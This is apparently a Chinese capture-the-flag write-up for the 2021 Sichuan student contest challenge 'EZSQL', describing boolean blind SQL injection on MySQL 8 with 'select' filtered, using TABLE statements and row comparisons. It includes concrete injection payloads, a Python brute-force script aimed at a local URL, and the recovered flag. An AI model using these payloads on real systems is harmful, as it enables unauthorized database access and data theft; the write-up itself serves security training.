2021年四川省大学生网络安全技能大赛EZSQL

原创

w0s1np 于 2021-05-24 22:56:03 发布 233 收藏 1

分类专栏： wp 文章标签： wp

题目一 EZSQL

操作内容：

考点：MYSQL8新特性

fuzz之后发现，只能盲注，过滤了`select`，使用`1' and (ascii(substr(database(),1,1)))>num --+`可以盲注出数据库，但是后面就搞不动了

无select注入，使用的是table语句。

> TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

这个作用是列出表的全部内容，于是就可以利用这个语句来进行注入。

首先需要知道表名使用MySQL一些自带的特殊表来盲注表

> information_schema.TABLESPACES_EXTENSIONS

使用这个语句来一个一个字段的注入出表名，使用这个语句进行注入只能单列查询不能如同联合查询一般使用`group_concat`来连接要查询的字段。所以只能用`limit`来限制输出的内容。

使用盲注将所需的表名注入出来

这里两个空位代表着表的两个字段，一张表中有多少个字段就要有多少个空位。

在注入时还有几个规律要注意：

首先需要从第一个字段开始猜解数据，如果不按顺序来得到的数据永真。

其实第二个字段应该为空，所以需要从第一个字段开始猜解。这是坑点之一，也算是一个难点。

第二个难点是猜解字符串时`true`和`false`的出现时机，在最后一位字符之前都是相同的。

在前面的字符猜解时，直到正确的字符出现时，ascii码小于或等于这个字符的查询结果永真。

这个字段的值为`mysql`因此到`m`之前的所有字符都为真。

直到`n`这个字符，也就是大于`m`的才会为假。

只能使用字符串拼接的方式逐字查询也就是`m my mys`这样的方式逐步拼接字符串

在最后一个字符时规则又跟之前的字符不同，当查询的字符串到达最后一个字符时，ascii码小于这个字符的永真，大于或等于这个字符的才为假。

最后一个要点，当第一个字符是正确时后面拼接的字符才能正确判断

> mysql<=mysql aasda<=mysql gasdassd <=mysql

这三种情况都是真，第一个字符不正确且结果为真的情况下无论怎么拼接字符串，输出的结果都为真。

先爆破表数量再注入猜解表名

```
1'and('{}','')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 0,1)--+
```

得到表名后再猜字段数 ,一个个加空格直到结果为真

```
payload="1'and("","","")<=(TABLE/*\**\*/fakeflag/\*\*/limit/**/0,1)--+"
```

最后就是从第一个字段开始注数据慢慢找flag了。

```
payload="1'and(4,"fl4gg","{}")<=(TABLE/**/fakeflag/**/limit/**/3,1)--+"
```

脚本如下：

```python
import requests
from urllib import parse
ascii="/0123456789:;ABCDEFGHIJKLMNOPQRSTUYWXYZ_.abcdefghijklmnopqrstuvwxyz{|}~"
def exp(url):
    result=""
    tablename=""
    j=0
    while j<=100:
        j+=1
        tablename=result
        for i in ascii:

            payload="1'and(4,\"fl4gg\",\"{}\")<=(TABLE/**/fakeflag/**/limit/**/3,1)--+".format(tablename+i)
            #payload="1'and('{}','')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 7,1)--+".form
at(tablename+i)
            re=requests.get(url+payload)
            #print(url+payload)
            if "Enjoy This Game" not in re.text:
                result+=chr(ord(i)-1)
                print(result)
                break
    result=result[:-1]+chr(ord(result[-1])+1)
    print(result)

url="http://127.0.0.1/?id="
exp(url)
```

flag值

```
flag{31df1d6dca4683ad8c27acf8c7c04326}
```